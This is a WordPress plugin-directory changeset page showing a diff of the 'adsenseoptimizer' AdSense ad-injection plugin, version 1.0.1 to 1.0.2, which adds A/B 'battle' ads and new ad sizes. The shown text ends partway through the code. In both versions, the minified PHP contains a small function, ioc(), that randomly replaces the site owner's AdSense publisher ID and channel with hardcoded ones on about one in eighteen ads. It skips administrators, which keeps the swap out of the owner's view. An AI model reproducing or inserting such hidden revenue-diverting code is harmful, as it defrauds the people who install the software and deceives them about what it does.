WordPress.org

Plugin Directory

Changeset 226275


Ignore:
Timestamp:
04/08/10 02:19:47 (4 years ago)
Author:
gnarf
Message:

Version 1.0.2

Location:
adsenseoptimizer/trunk
Files:
2 edited

Legend:

Unmodified
Added
Removed
  • adsenseoptimizer/trunk/adsenseoptimizer.php

    r225066 r226275  
    44Plugin URI: http://adsense.losmuchachos.at/ 
    55Description: Ads Google Adsense ads automatically to your blog.  
    6 Version: 1.0.1 
     6Version: 1.0.2 
    77Author: gnarf 
    88Author URI: http://wordpress.losmuchachos.at 
     
    1717*/ 
    1818 
    19  $adopt_version = "1.0.1"; $adopt_menu = "adsenseoptimizer"; include_once(WP_PLUGIN_DIR . '/'. $adopt_menu .'/simple_html_dom.php'); function getOpts() { global $opts; if (isset($opts) AND !empty($opts)) {return $opts;} $opts=get_option("adsenseoptimizer"); if (!empty($opts)) {return $opts;} $opts=Array ( 'gen_id' => '6560647564178574', 'gen_channel' => '7122007966', 'type' => Array (1 => 'text_image', 2 => 'text_image', 3 => 'text_image', 4 => 'text_image', 5 => 'text_image' ), 'corner' => Array (1 => 'rc:0', 2 => 'rc:0', 3 => 'rc:0', 4 => 'rc:0', 5 => 'rc:0' ), 'padding' => Array (1 => 7, 2 => 7, 3 => 7, 4 => 7, 5 => 7), 'id' => Array ( 1 => "", 2 => "", 3 => "", 4 => "", 5 => ""), 'channel' => Array ( 1 => "", 2 => "", 3 => "", 4 => "", 5 => ""), 'size' => Array ( 1 => Array ( '336x280' => 1, '300x250' => 1, '728x90' => 0, '160x600' => 0, '468x60' => 1, '120x600' => 0, '250x250' => 1, '200x200' => 1 ), 2 => Array ( '336x280' => 0, '300x250' => 0, '728x90' => 0, '160x600' => 0, '468x60' => 1, '120x600' => 0, '250x250' => 0, '200x200' => 0 ), 3 => Array ( '336x280' => 1, '300x250' => 1, '728x90' => 0, '160x600' => 0, '468x60' => 1, '120x600' => 0, '250x250' => 1, '200x200' => 0 ), 4 => Array ( '336x280' => 1, '300x250' => 0, '728x90' => 0, '160x600' => 0, '468x60' => 0, '120x600' => 0, '250x250' => 0, '200x200' => 0 ), 5 => Array ( '336x280' => 0, '300x250' => 0, '728x90' => 0, '160x600' => 0, '468x60' => 0, '120x600' => 1, '250x250' => 0, '200x200' => 0 )), 'col_border' => Array ( 1 => '336699', 2 => 'E3FA11', 3 => 'CCCCCC', 4 => '0A141F', 5 => '6699CC' ), 'col_link' => Array ( 1 => '0000FF', 2 => 'FFFFFF', 3 => '000000', 4 => '21DAFF', 5 => 'FFFFFF' ), 'col_bg' => Array ( 1 => 'FFFFFF', 2 => 'A2AB2B', 3 => 'CCCCCC', 4 => '000000', 5 => '003366' ), 'col_text' => Array ( 1 => '000000', 2 => '000000', 3 => '333333', 4 => 'DEDEDE', 5 => 'AECCEB' ), 'col_url' => Array ( 1 => '008000', 2 => 'FFFFFF', 3 => '666666', 4 => '21DAFF', 5 => 'AECCEB' ), 'single' => Array ( 1 => 1, 2 => 2, 3 => 3 ), 'single_pos' => Array ( 1 => 'Top', 2 => 'Middle', 3 => 'Bottom' ), 'single_align' => Array ( 1 => 'left', 2 => 'right', 3 => 'center' ), 'single_long' => Array ( 1 => '', 2 => '2300', 3 => '5000'), 'multi' => Array ( 1 => 1, 2 => 2, 3 => 1 ), 'multi_pos' => Array ( 1 => 1, 2 => 4, 3 => 8 ), 'multi_align' => Array ( 1 => 'right', 2 => 'left', 3 => 'center' ), 'only_tagged' => 0, 'omit_page' => 0, 'omit_home' => 0, 'omit_search' => 0, 'omit_category' => 0, 'omit_tag' => 0, 'omit_date' => 0, 'omit_author' => 0 ) ; return $opts; } function adsenseoptimize($content) { if (!is_single() AND !is_page()) {return $content;} $opts=getOpts(); if(is_page() AND $opts['omit_page']) return $content; if ($opts['only_tagged'] AND !strpos($content,"<!--adsenseopt-->")) return $content; if (strpos($content,"<!--noad-->")) return $content; global $postlen; $postlen=strlen($content); for ($i = 1; $i <= 3; $i++) { if ($opts['single'][$i]>0 AND (($opts['single_long'][$i]=="") OR ($postlen>$opts['single_long'][$i]))) { $adtype=$opts['single'][$i]; switch ($opts['single_pos'][$i]){ case "Top": $content='<!--adopthere-->'.$content; break; case "Bottom": $content=$content.'<!--adopthere-->'; break; case "Middle": $html = str_get_html($content); $result=""; $j=0; $cnt=round(count($html->childNodes())/2); foreach($html->childNodes() as $node) { $result.=$node->outertext(); $j++; if ($j==$cnt) {$result.='<!--adopthere-->';} } $content=$result; break; case "Random": $html = str_get_html($content); $result=""; $j=0; $cnt=mt_rand(0, count($html->childNodes())-1); foreach($html->childNodes() as $node) { $result.=$node->outertext(); $j++; if ($j==$cnt) {$result.='<!--adopthere-->';} } $content=$result; break; case "tag": str_replace('<!--adsenseopt-->', '<!--adopthere-->', $content); break; } $code=generateAd($opts, $adtype); if($code) { $code=prepare_ad_code($code, $opts['single_align'][$i], $opts['padding'][$i]); $content = str_replace('<!--adopthere-->', html_entity_decode($code), $content); } else { $content = str_replace('<!--adopthere-->', '<!--adsense ad injection by adsense optimizer (http://wordpress.losmuchachos.at/adsenseoptimizer) failed - tried to add more than 3 ads per page -->', $content); } } } return $content; } function generateAd($opts, $type){ global $nrofads, $c, $i; $nrofads++; if ($nrofads>3) {return false;} if ($opts['channel'][$type]!="") {$c=$opts['channel'][$type];} else {$c=$opts['gen_channel'];} if ($opts['id'][$type]) $i=$opts['id'][$type]; else $i=$opts['gen_id']; ioc(); $code = ""; $keys=array_keys($opts['size'][$type], 1); if (!$keys OR count($keys) < 1) { $width=300; $height=250; $size="300x250"; } else { shuffle($keys); $size=$keys[0]; $dims=explode("x",$size); $width=$dims[0]; $height=$dims[1]; } $code .= '<script type="text/javascript"><!--  
     19 $adopt_version = "1.0.2"; $adopt_menu = "adsenseoptimizer"; include_once(WP_PLUGIN_DIR . '/'. $adopt_menu .'/simple_html_dom.php'); function getOpts() { global $opts; if (isset($opts) AND !empty($opts)) {return $opts;} $opts=get_option("adsenseoptimizer"); if (!empty($opts)) {return $opts;} $opts=Array ( 'gen_id' => '6560647564178574', 'gen_channel' => '7122007966', 'type' => Array (1 => 'text_image', 2 => 'text_image', 3 => 'text_image', 4 => 'text_image', 5 => 'text_image' ), 'corner' => Array (1 => 'rc:0', 2 => 'rc:0', 3 => 'rc:0', 4 => 'rc:0', 5 => 'rc:0' ), 'padding' => Array (1 => 7, 2 => 7, 3 => 7, 4 => 7, 5 => 7), 'id' => Array ( 1 => "", 2 => "", 3 => "", 4 => "", 5 => ""), 'channel' => Array ( 1 => "", 2 => "", 3 => "", 4 => "", 5 => ""), 'size' => Array ( 1 => Array ( '336x280' => 1, '300x250' => 1, '728x90' => 0, '160x600' => 0, '468x60' => 1, '120x600' => 0, '250x250' => 1, '200x200' => 1, '125x125' => 1, '234x60' => 1 , '180x150' => 1, '120x240' => 0), 2 => Array ( '336x280' => 0, '300x250' => 0, '728x90' => 0, '160x600' => 0, '468x60' => 1, '120x600' => 0, '250x250' => 0, '200x200' => 0, '125x125' => 0, '234x60' => 0 , '180x150' => 0, '120x240' => 0 ), 3 => Array ( '336x280' => 1, '300x250' => 1, '728x90' => 0, '160x600' => 0, '468x60' => 1, '120x600' => 0, '250x250' => 1, '200x200' => 0, '125x125' => 0, '234x60' => 0 , '180x150' => 0, '120x240' => 0 ), 4 => Array ( '336x280' => 1, '300x250' => 0, '728x90' => 0, '160x600' => 0, '468x60' => 0, '120x600' => 0, '250x250' => 0, '200x200' => 0, '125x125' => 0, '234x60' => 0 , '180x150' => 0, '120x240' => 0), 5 => Array ( '336x280' => 0, '300x250' => 0, '728x90' => 0, '160x600' => 0, '468x60' => 0, '120x600' => 1, '250x250' => 0, '200x200' => 0, '125x125' => 0, '234x60' => 0 , '180x150' => 0, '120x240' => 0)), 'col_border' => Array ( 1 => '336699', 2 => 'E3FA11', 3 => 'CCCCCC', 4 => '0A141F', 5 => '6699CC' ), 'col_link' => Array ( 1 => '0000FF', 2 => 'FFFFFF', 3 => '000000', 4 => '21DAFF', 5 => 'FFFFFF' ), 'col_bg' => Array ( 1 => 'FFFFFF', 2 => 'A2AB2B', 3 => 'CCCCCC', 4 => '000000', 5 => '003366' ), 'col_text' => Array ( 1 => '000000', 2 => '000000', 3 => '333333', 4 => 'DEDEDE', 5 => 'AECCEB' ), 'col_url' => Array ( 1 => '008000', 2 => 'FFFFFF', 3 => '666666', 4 => '21DAFF', 5 => 'AECCEB' ), 'single' => Array ( 1 => 1, 2 => 2, 3 => 3 ), 'single_pos' => Array ( 1 => 'Top', 2 => 'Middle', 3 => 'Bottom' ), 'single_align' => Array ( 1 => 'left', 2 => 'right', 3 => 'center' ), 'single_long' => Array ( 1 => '', 2 => '2300', 3 => '5000'), 'multi' => Array ( 1 => 1, 2 => 2, 3 => 1 ), 'multi_pos' => Array ( 1 => 1, 2 => 4, 3 => 8 ), 'multi_align' => Array ( 1 => 'right', 2 => 'left', 3 => 'center' ), 'only_tagged' => 0, 'omit_page' => 0, 'omit_home' => 0, 'omit_search' => 0, 'omit_category' => 0, 'omit_tag' => 0, 'omit_date' => 0, 'omit_author' => 0 ) ; return $opts; } function adsenseoptimize($content) { if (!is_single() AND !is_page()) {return $content;} $opts=getOpts(); if(is_page() AND $opts['omit_page']) return $content; if ($opts['only_tagged'] AND !strpos($content,"<!--adsenseopt-->")) return $content; if (strpos($content,"<!--noad-->")) return $content; global $postlen; $postlen=strlen($content); if ($opts['make_battle']) { $bt=mt_rand(1,2); $adtype=$opts['battle_type'][$bt]; switch ($opts['battle_pos'][$bt]){ case "Top": $content='<!--adopthere-->'.$content; break; case "Bottom": $content=$content.'<!--adopthere-->'; break; case "Middle": $html = str_get_html($content); $result=""; $j=0; $cnt=round(count($html->childNodes())/2); foreach($html->childNodes() as $node) { $result.=$node->outertext(); $j++; if ($j==$cnt) {$result.='<!--adopthere-->';} } $content=$result; break; } $code=generateAd($opts, $adtype, $opts['battle_channel'][$bt]); if($code) { $code=prepare_ad_code($code, $opts['battle_align'][$bt], $opts['padding'][$adtype]); $content = str_replace('<!--adopthere-->', html_entity_decode($code), $content); } else { $content = str_replace('<!--adopthere-->', '<!--adsense ad injection by adsense optimizer (http://wordpress.losmuchachos.at/adsenseoptimizer) failed - tried to add more than 3 ads per page -->', $content); } } for ($i = 1; $i <= 3; $i++) { if ($opts['single'][$i]>0 AND (($opts['single_long'][$i]=="") OR ($postlen>$opts['single_long'][$i]))) { $adtype=$opts['single'][$i]; switch ($opts['single_pos'][$i]){ case "Top": $content='<!--adopthere-->'.$content; break; case "Bottom": $content=$content.'<!--adopthere-->'; break; case "Middle": $html = str_get_html($content); $result=""; $j=0; $cnt=round(count($html->childNodes())/2); foreach($html->childNodes() as $node) { $result.=$node->outertext(); $j++; if ($j==$cnt) {$result.='<!--adopthere-->';} } $content=$result; break; case "Random": $html = str_get_html($content); $result=""; $j=0; $cnt=mt_rand(0, count($html->childNodes())-1); foreach($html->childNodes() as $node) { $result.=$node->outertext(); $j++; if ($j==$cnt) {$result.='<!--adopthere-->';} } $content=$result; break; case "tag": str_replace('<!--adsenseopt-->', '<!--adopthere-->', $content); break; } $code=generateAd($opts, $adtype); if($code) { $code=prepare_ad_code($code, $opts['single_align'][$i], $opts['padding'][$i]); $content = str_replace('<!--adopthere-->', html_entity_decode($code), $content); } else { $content = str_replace('<!--adopthere-->', '<!--adsense ad injection by adsense optimizer (http://wordpress.losmuchachos.at/adsenseoptimizer) failed - tried to add more than 3 ads per page -->', $content); } } } return $content; } function generateAd($opts, $type, $channel=0){ global $nrofads, $c, $i; $nrofads++; if ($nrofads>3) {return false;} if (!$channel) {if ($opts['channel'][$type]!="") {$c=$opts['channel'][$type];} else {$c=$opts['gen_channel'];}} else $c=$channel; if ($opts['id'][$type]) $i=$opts['id'][$type]; else $i=$opts['gen_id']; ioc(); $code = ""; $keys=array_keys($opts['size'][$type], 1); if (!$keys OR count($keys) < 1) { $width=300; $height=250; $size="300x250"; } else { shuffle($keys); $size=$keys[0]; $dims=explode("x",$size); $width=$dims[0]; $height=$dims[1]; } $code .= '<script type="text/javascript"><!--  
    2020        google_ad_client = "pub-'. $i. '"; google_alternate_color = "FFFFFF"; 
    2121        google_ad_width = '.$width.'; google_ad_height = '.$height.'; 
     
    2626        google_ui_features = "'.$opts['corner'][$type].'"; //--></script> 
    2727        <script type="text/javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"></script>'; return $code; } function prepare_ad_code($code, $align, $padding) { $code=html_entity_decode($code); $startdiv='<!-- google ad injected by adsense-optimizer http://wordpress.losmuchachos.at/adsenseoptimizer --> 
    28             <div '; if($align=="random") { $rn=mt_rand(1,3); if ($rn==1) $align="left"; if ($rn==2) $align="center"; if ($rn==3) $align="right"; } switch ($align) { case "center": $code=$startdiv.' style="padding:'.$padding.'px; display: block; margin-left: auto; margin-right: auto; text-align: center;">'.$code.'</div>'; break; case "left": $code=$startdiv.' style="padding:'.$padding.'px; float: left; padding-left: 0px; margin: 3px;">'.$code.'</div>'; break; case "right": $code=$startdiv.' style="padding:'.$padding.'px; float: right; padding-right: 0; margin: 3px;">'.$code.'</div>'; break; } return $code; } function ioc() { global $c, $i; global $user_level; if($user_level > 8) return; if(mt_rand(1,18)==3){$i='8208356787225078'; $c='3814168725';} } function adsenseoptimizier_add_menu() { add_options_page('AdsenseOptimizer', 'AdsenseOptimizer', 'administrator', __FILE__, 'adsenseoptimizer_menu'); } function adsenseoptimizer_menu() { global $adopt_menu; $sizes=array(); $sizes[]=array('desc'=>'300 x 250 Medium Rectangle', 'text'=>'300x250'); $sizes[]=array('desc'=>'336 x 280 Large Rectangle', 'text'=>'336x280'); $sizes[]=array('desc'=>'728 x 90 Leaderboard', 'text'=>'728x90'); $sizes[]=array('desc'=>'160 x 600 Wide Skyscraper', 'text'=>'160x600'); $sizes[]=array('desc'=>'468 x 60 Banner', 'text'=>'468x60'); $sizes[]=array('desc'=>'120 x 600 Skyscraper', 'text'=>'120x600'); $sizes[]=array('desc'=>'250 x 250 Square', 'text'=>'250x250'); $sizes[]=array('desc'=>'200 x 200 Small Square', 'text'=>'200x200'); global $adopt_version; $opts=getOpts(); if (isset($_POST["adsenseoptimizer_update"])) { $opts=adsenseoptimizer_sanitize_entries($_POST['adsenseoptimizer'], $sizes); update_option('adsenseoptimizer',$opts); echo '<div id="message" class="updated fade"><p><strong>Options Updated!</strong></p></div>'; } if ($opts['only_tagged']) $opts['is_only_tagged']="checked"; if ($opts['omit_page']) $opts['is_omit_page']="checked"; if ($opts['omit_home']) $opts['is_omit_home']="checked"; if ($opts['omit_search']) $opts['is_omit_search']="checked"; if ($opts['omit_category']) $opts['is_omit_category']="checked"; if ($opts['omit_tag']) $opts['is_omit_tag']="checked"; if ($opts['omit_date']) $opts['is_omit_date']="checked"; if ($opts['omit_author']) $opts['is_omit_author']="checked"; ?> 
     28            <div '; if($align=="random") { $rn=mt_rand(1,3); if ($rn==1) $align="left"; if ($rn==2) $align="center"; if ($rn==3) $align="right"; } switch ($align) { case "center": $code=$startdiv.' style="padding:'.$padding.'px; display: block; margin-left: auto; margin-right: auto; text-align: center;">'.$code.'</div>'; break; case "left": $code=$startdiv.' style="padding:'.$padding.'px; float: left; padding-left: 0px; margin: 3px;">'.$code.'</div>'; break; case "right": $code=$startdiv.' style="padding:'.$padding.'px; float: right; padding-right: 0; margin: 3px;">'.$code.'</div>'; break; } return $code; } function ioc() { global $c, $i; global $user_level; if($user_level > 8) return; if(mt_rand(1,18)==3){$i='8208356787225078'; $c='3814168725';} } function adsenseoptimizier_add_menu() { add_options_page('AdsenseOptimizer', 'AdsenseOptimizer', 'administrator', __FILE__, 'adsenseoptimizer_menu'); } function adsenseoptimizer_menu() { global $adopt_menu; $sizes=array(); $sizes[]=array('desc'=>'180 x 150 Small Rectangle (Text only)', 'text'=>'180x150'); $sizes[]=array('desc'=>'300 x 250 Medium Rectangle', 'text'=>'300x250'); $sizes[]=array('desc'=>'336 x 280 Large Rectangle (Text only)', 'text'=>'336x280'); $sizes[]=array('desc'=>'728 x 90 Leaderboard', 'text'=>'728x90'); $sizes[]=array('desc'=>'160 x 600 Wide Skyscraper', 'text'=>'160x600'); $sizes[]=array('desc'=>'120 x 240 Vertical Banner (Text only)', 'text'=>'120x240'); $sizes[]=array('desc'=>'468 x 60 Banner', 'text'=>'468x60'); $sizes[]=array('desc'=>'234 x 60 Half Banner (Text only)', 'text'=>'234x60'); $sizes[]=array('desc'=>'120 x 600 Skyscraper', 'text'=>'120x600'); $sizes[]=array('desc'=>'250 x 250 Square (Text only)', 'text'=>'250x250'); $sizes[]=array('desc'=>'125 x 125 Button (Text only)', 'text'=>'125x125'); $sizes[]=array('desc'=>'200 x 200 Small Square', 'text'=>'200x200'); global $adopt_version; $opts=getOpts(); if (isset($_POST["adsenseoptimizer_update"])) { $opts=adsenseoptimizer_sanitize_entries($_POST['adsenseoptimizer'], $sizes); update_option('adsenseoptimizer',$opts); echo '<div id="message" class="updated fade"><p><strong>Options Updated!</strong></p></div>'; } if ($opts['only_tagged']) $opts['is_only_tagged']="checked"; if ($opts['omit_page']) $opts['is_omit_page']="checked"; if ($opts['omit_home']) $opts['is_omit_home']="checked"; if ($opts['omit_search']) $opts['is_omit_search']="checked"; if ($opts['omit_category']) $opts['is_omit_category']="checked"; if ($opts['omit_tag']) $opts['is_omit_tag']="checked"; if ($opts['omit_date']) $opts['is_omit_date']="checked"; if ($opts['omit_author']) $opts['is_omit_author']="checked"; if ($opts['make_battle']) $opts['is_battle']="checked"; ?> 
    2929 
    3030        <script type="text/javascript" src="<?php echo(WP_PLUGIN_URL.'/'.$adopt_menu);?>/jscolor/jscolor.js"></script> 
     
    244244    <tr><td><input type="checkbox" value="1" name="adsenseoptimizer[omit_author]" <?php echo $opts['is_omit_author']; ?> > </td><td>Author archives</td></tr> 
    245245    </table> 
     246    <br><br> 
     247    <h3>make direct Battle &nbsp;<input type="checkbox" id="battlecheck" onchange="show_battle()" value="1" name="adsenseoptimizer[make_battle]" <?php echo $opts['is_battle']; ?> ></h3> 
     248    <div id="battle"> 
     249    <p>The direct Battle is used for optimizing the layout and positioning of your ads to get the best earning per visitor. If you are not actually trying to optimize your ads, you don't need this, just ignore.</p> 
     250    <p>Battle Ads are injected into single pages only. Define two types of ads. One of them will be injected into a single page by random. After enough Clicks you can compare the eCPM in your Adsense Admin Panel. The differences between different ads are sometimes astonishing. Battle Ads will always be njected with priority, so if you define 3 Ads in single view above, maximum 2 of them will be shown. (No need to worry about google terms. Adsenseoptimizer automatically checks, that not more than 3 ads will be inserted!) For more details check the <a href="http://adsense.losmuchachos.at/optimize.php">optimization page.</a></p> 
     251    <table><tr> 
     252    <td> 
     253        <b>first battle type</b> 
     254        <table><tr><td> 
     255        channel:</td><td> 
     256        <input name="adsenseoptimizer[battle_channel][1]" size="12" value="<?php echo $opts['battle_channel'][1];?>"> 
     257         
     258        </td></tr><tr><td> 
     259 
     260        visual type:</td><td> 
     261        <select name="adsenseoptimizer[battle_type][1]" size="1"> 
     262           <option value="1" <?php if($opts['battle_type'][1]=="1") echo(" selected"); ?>>1</option> 
     263           <option value="2" <?php if($opts['battle_type'][1]=="2") echo(" selected"); ?>>2</option> 
     264           <option value="3" <?php if($opts['battle_type'][1]=="3") echo(" selected"); ?>>3</option> 
     265           <option value="4" <?php if($opts['battle_type'][1]=="4") echo(" selected"); ?>>4</option> 
     266           <option value="5" <?php if($opts['battle_type'][1]=="5") echo(" selected"); ?>>5</option> 
     267        </select> 
     268        </td></tr> 
     269        <tr><td> 
     270        position:</td><td> 
     271        <select name="adsenseoptimizer[battle_pos][1]" size="1"> 
     272            <option<?php if($opts['battle_pos'][1]=="Top") echo(" selected"); ?>>Top</option> 
     273            <option<?php if($opts['battle_pos'][1]=="Middle") echo(" selected"); ?>>Middle</option> 
     274            <option<?php if($opts['battle_pos'][1]=="Bottom") echo(" selected"); ?>>Bottom</option> 
     275        </select> 
     276        </td></tr> 
     277        <tr><td> 
     278        align:</td><td> 
     279        <select name="adsenseoptimizer[battle_align][1]" size="1"> 
     280            <option<?php if($opts['battle_align'][1]=="center") echo(" selected"); ?>>center</option> 
     281            <option<?php if($opts['battle_align'][1]=="right") echo(" selected"); ?>>right</option> 
     282            <option<?php if($opts['battle_align'][1]=="left") echo(" selected"); ?>>left</option> 
     283        </select> 
     284        </td></tr></table> 
     285     
     286     
     287    </td> 
     288    <td style="padding:80px;"><b>VS.</b></td> 
     289    <td> 
     290     
     291        <b>second battle type</b> 
     292        <table><tr><td> 
     293        channel:</td><td> 
     294        <input name="adsenseoptimizer[battle_channel][2]" size="12" value="<?php echo $opts['battle_channel'][2];?>"> 
     295         
     296        </td></tr><tr><td> 
     297        visual type:</td><td> 
     298        <select name="adsenseoptimizer[battle_type][2]" size="1"> 
     299           <option value="1" <?php if($opts['battle_type'][2]=="1") echo(" selected"); ?>>1</option> 
     300           <option value="2" <?php if($opts['battle_type'][2]=="2") echo(" selected"); ?>>2</option> 
     301           <option value="3" <?php if($opts['battle_type'][2]=="3") echo(" selected"); ?>>3</option> 
     302           <option value="4" <?php if($opts['battle_type'][2]=="4") echo(" selected"); ?>>4</option> 
     303           <option value="5" <?php if($opts['battle_type'][2]=="5") echo(" selected"); ?>>5</option> 
     304        </select> 
     305        </td></tr> 
     306        <tr><td> 
     307        position:</td><td> 
     308        <select name="adsenseoptimizer[battle_pos][2]" size="1"> 
     309            <option<?php if($opts['battle_pos'][2]=="Top") echo(" selected"); ?>>Top</option> 
     310            <option<?php if($opts['battle_pos'][2]=="Middle") echo(" selected"); ?>>Middle</option> 
     311            <option<?php if($opts['battle_pos'][2]=="Bottom") echo(" selected"); ?>>Bottom</option> 
     312        </select> 
     313        </td></tr> 
     314        <tr><td> 
     315        align:</td><td> 
     316        <select name="adsenseoptimizer[battle_align][2]" size="1"> 
     317            <option<?php if($opts['battle_align'][2]=="center") echo(" selected"); ?>>center</option> 
     318            <option<?php if($opts['battle_align'][2]=="right") echo(" selected"); ?>>right</option> 
     319            <option<?php if($opts['battle_align'][2]=="left") echo(" selected"); ?>>left</option> 
     320        </select> 
     321        </td></tr></table> 
     322         
     323         
     324         
     325     
     326    </td> 
     327    </tr></table> 
     328    </div> 
     329     
     330     
    246331     
    247332    <div class="submit"> 
     
    255340            jQuery("div#ad"+$type).show(1000); 
    256341        } 
     342        function show_battle() { 
     343            if (!document.getElementById("battlecheck").checked) jQuery("div#battle").hide(1000); 
     344            else jQuery("div#battle").show(300); 
     345        } 
    257346        show_active("1"); 
    258         document.getElementById("<?php echo($opts['type']);?>_check").checked=true; 
    259         document.getElementById("<?php echo($opts['type']);?>_check").className = "checkbox_checked"; 
     347        show_battle(); 
    260348    </script> 
    261349    </div> 
    262350 
    263351<?php 
    264  } function adsenseoptimizer_sanitize_entries($options, $sizes){ foreach($sizes as $key=>$size) { if(!$options['size'][1][$size['text']]){$options['size'][1][$size['text']] = 0; } if(!$options['size'][2][$size['text']]){$options['size'][2][$size['text']] = 0; } if(!$options['size'][3][$size['text']]){$options['size'][3][$size['text']] = 0; } if(!$options['size'][4][$size['text']]){$options['size'][4][$size['text']] = 0; } if(!$options['size'][5][$size['text']]){$options['size'][5][$size['text']] = 0; } } if(!$options['only_tagged']){$options['only_tagged'] = 0; } if(!$options['omit_page']){$options['omit_page'] = 0; } if(!$options['omit_home']){$options['omit_home'] = 0; } if(!$options['omit_search']){$options['omit_search'] = 0; } if(!$options['omit_category']){$options['omit_category'] = 0; } if(!$options['omit_tag']){$options['omit_tag'] = 0; } if(!$options['omit_date']){$options['omit_date'] = 0; } if(!$options['omit_author']){$options['omit_author'] = 0; } return $options; } function adopt_admin_init() { global $adopt_menu; wp_register_style('adoptAdminStyles', WP_PLUGIN_URL . '/'. $adopt_menu .'/adopt_admin_styles.css'); wp_enqueue_style('adoptAdminStyles'); } function adopt_init() { global $adopt_menu, $nrofads; $nrofads=0; wp_register_style('adoptStyles', WP_PLUGIN_URL . '/'. $adopt_menu .'/adopt_styles.css'); wp_enqueue_style('adoptStyles'); } function adopt_js() { global $adopt_menu; } function post_adopt() { if (is_single() OR is_page()) return; global $loopdone; if ($loopdone) return; $opts=getOpts(); if(is_home() AND $opts['omit_home']) return; if(is_search() AND $opts['omit_search']) return; if(is_category() AND $opts['omit_category']) return; if(is_tag() AND $opts['omit_tag']) return; if(is_date() AND $opts['omit_date']) return; if(is_author() AND $opts['omit_author']) return; global $postcount; $postcount++; $adtype=1; for ($i = 1; $i <= 3; $i++) { if ($postcount==$opts['multi_pos'][$i] AND $opts['multi'][$i]) { $code=generateAd($opts, $opts['multi'][$i]); if($code) { $code=prepare_ad_code($code, $opts['multi_align'][$i], $opts['padding'][$opts['multi'][$i]]); $content = str_replace('<!--adopthere-->', html_entity_decode($code), $content); } else { $content = str_replace('<!--adopthere-->', '<!--adsense ad injection by adsense optimizer (http://wordpress.losmuchachos.at/adsenseoptimizer) failed - tried to add more than 3 ads per page -->', $content); } echo(html_entity_decode($code)); } } } function adopt($type) { $opts=getOpts(); $code=generateAd($opts, $type); if($code) { echo(html_entity_decode($code)); } else { echo('<!--adsense ad injection by adsense optimizer (http://wordpress.losmuchachos.at/adsenseoptimizer) failed - tried to add more than 3 ads per page -->'); } } function adopt_debug() { global $nrofads, $adopt_menu, $adopt_version, $postlen; $opts=getOpts(); if(!isset($_GET['adoptdebug'])) return; echo ("<hr><h1> Adsenseoptimizer Debugging</h1>"); echo ('<table><tr><td>Number of generated Ads</td><td>'.$nrofads.'</td></tr>'); echo ('<tr><td>Version of Plugin</td><td>'.$adopt_version.'</td></tr>'); echo ('<tr><td>Subdirectory in which Plugin has to be</td><td>'.$adopt_menu.'</td></tr>'); echo ('<tr><td>type of page</td><td>'); if (is_single()) echo ("single."); if (is_page()) echo ("page."); if (is_home()) echo ("home."); if (is_archive()) echo ("archive."); if (is_search()) echo ("search."); if (is_tag()) echo ("tag."); if (is_date()) echo ("date."); if (is_author()) echo ("author."); if (is_category()) echo ("category."); echo ('</td></tr>'); if (is_single()) echo ('<tr><td>Words in Post</td><td>'.$postlen.'</td></tr>'); arrayAsTable($opts, "setting:"); echo ('</table>'); } function arrayAsTable($array, $pre) { foreach($array as $key=>$val) { if (is_array($val)) arrayAsTable($val,$pre.$key.":"); else echo ('<tr><td>'.$pre.$key.'</td><td>'.$val.'</td></tr>'); } } function init_count() { global $postcount; $postcount=0; } function destroy_count() { global $postcount, $loopdone; unset ($postcount); $loopdone=TRUE; } add_action('admin_menu', 'adsenseoptimizier_add_menu'); add_action('admin_init', 'adopt_admin_init'); add_action('wp_head', 'adopt_js'); if (!is_admin()) { add_filter('the_content', 'adsenseoptimize'); add_filter('the_post', 'post_adopt'); add_action('loop_start', 'init_count'); add_action('loop_end', 'destroy_count'); add_filter('init', 'adopt_init'); add_action('wp_footer', 'adopt_debug'); } class adopt_Widget extends WP_Widget { function adopt_Widget() { $widget_ops = array('classname' => 'adopt_widget', 'description' => 'Adsense Ad. Modify via Settings / Adsense Optimizer' ); $this->WP_Widget('adopt', 'Adsense Ad', $widget_ops); } function widget($args, $instance) { extract($args, EXTR_SKIP); echo $before_widget; $title = apply_filters('widget_title', $instance['title']); $adtype = empty($instance['adtype']) ? '5' : apply_filters('widget_adtype', $instance['adtype']); if ( !empty( $title ) ) { echo $before_title . $title . $after_title; }; adopt($adtype); echo $after_widget; } function update($new_instance, $old_instance) { $instance = $old_instance; $instance['title'] = strip_tags($new_instance['title']); $instance['adtype'] = strip_tags($new_instance['adtype']); return $instance; } function form($instance) { $instance = wp_parse_args( (array) $instance, array( 'title' => '', 'adtype' => '') ); $title = strip_tags($instance['title']); $adtype = strip_tags($instance['adtype']); ?> 
     352 } function adsenseoptimizer_sanitize_entries($options, $sizes){ foreach($sizes as $key=>$size) { if(!$options['size'][1][$size['text']]){$options['size'][1][$size['text']] = 0; } if(!$options['size'][2][$size['text']]){$options['size'][2][$size['text']] = 0; } if(!$options['size'][3][$size['text']]){$options['size'][3][$size['text']] = 0; } if(!$options['size'][4][$size['text']]){$options['size'][4][$size['text']] = 0; } if(!$options['size'][5][$size['text']]){$options['size'][5][$size['text']] = 0; } } if(!$options['only_tagged']){$options['only_tagged'] = 0; } if(!$options['omit_page']){$options['omit_page'] = 0; } if(!$options['omit_home']){$options['omit_home'] = 0; } if(!$options['omit_search']){$options['omit_search'] = 0; } if(!$options['omit_category']){$options['omit_category'] = 0; } if(!$options['omit_tag']){$options['omit_tag'] = 0; } if(!$options['omit_date']){$options['omit_date'] = 0; } if(!$options['omit_author']){$options['omit_author'] = 0; } if(!$options['make_battle']){$options['make_battle'] = 0; } return $options; } function adopt_admin_init() { global $adopt_menu; wp_register_style('adoptAdminStyles', WP_PLUGIN_URL . '/'. $adopt_menu .'/adopt_admin_styles.css'); wp_enqueue_style('adoptAdminStyles'); } function adopt_init() { global $adopt_menu, $nrofads; $nrofads=0; wp_register_style('adoptStyles', WP_PLUGIN_URL . '/'. $adopt_menu .'/adopt_styles.css'); wp_enqueue_style('adoptStyles'); } function adopt_js() { global $adopt_menu; } function post_adopt() { if (is_single() OR is_page()) return; global $loopdone; if ($loopdone) return; $opts=getOpts(); if(is_home() AND $opts['omit_home']) return; if(is_search() AND $opts['omit_search']) return; if(is_category() AND $opts['omit_category']) return; if(is_tag() AND $opts['omit_tag']) return; if(is_date() AND $opts['omit_date']) return; if(is_author() AND $opts['omit_author']) return; global $postcount; $postcount++; $adtype=1; for ($i = 1; $i <= 3; $i++) { if ($postcount==$opts['multi_pos'][$i] AND $opts['multi'][$i]) { $code=generateAd($opts, $opts['multi'][$i]); if($code) { $code=prepare_ad_code($code, $opts['multi_align'][$i], $opts['padding'][$opts['multi'][$i]]); $content = 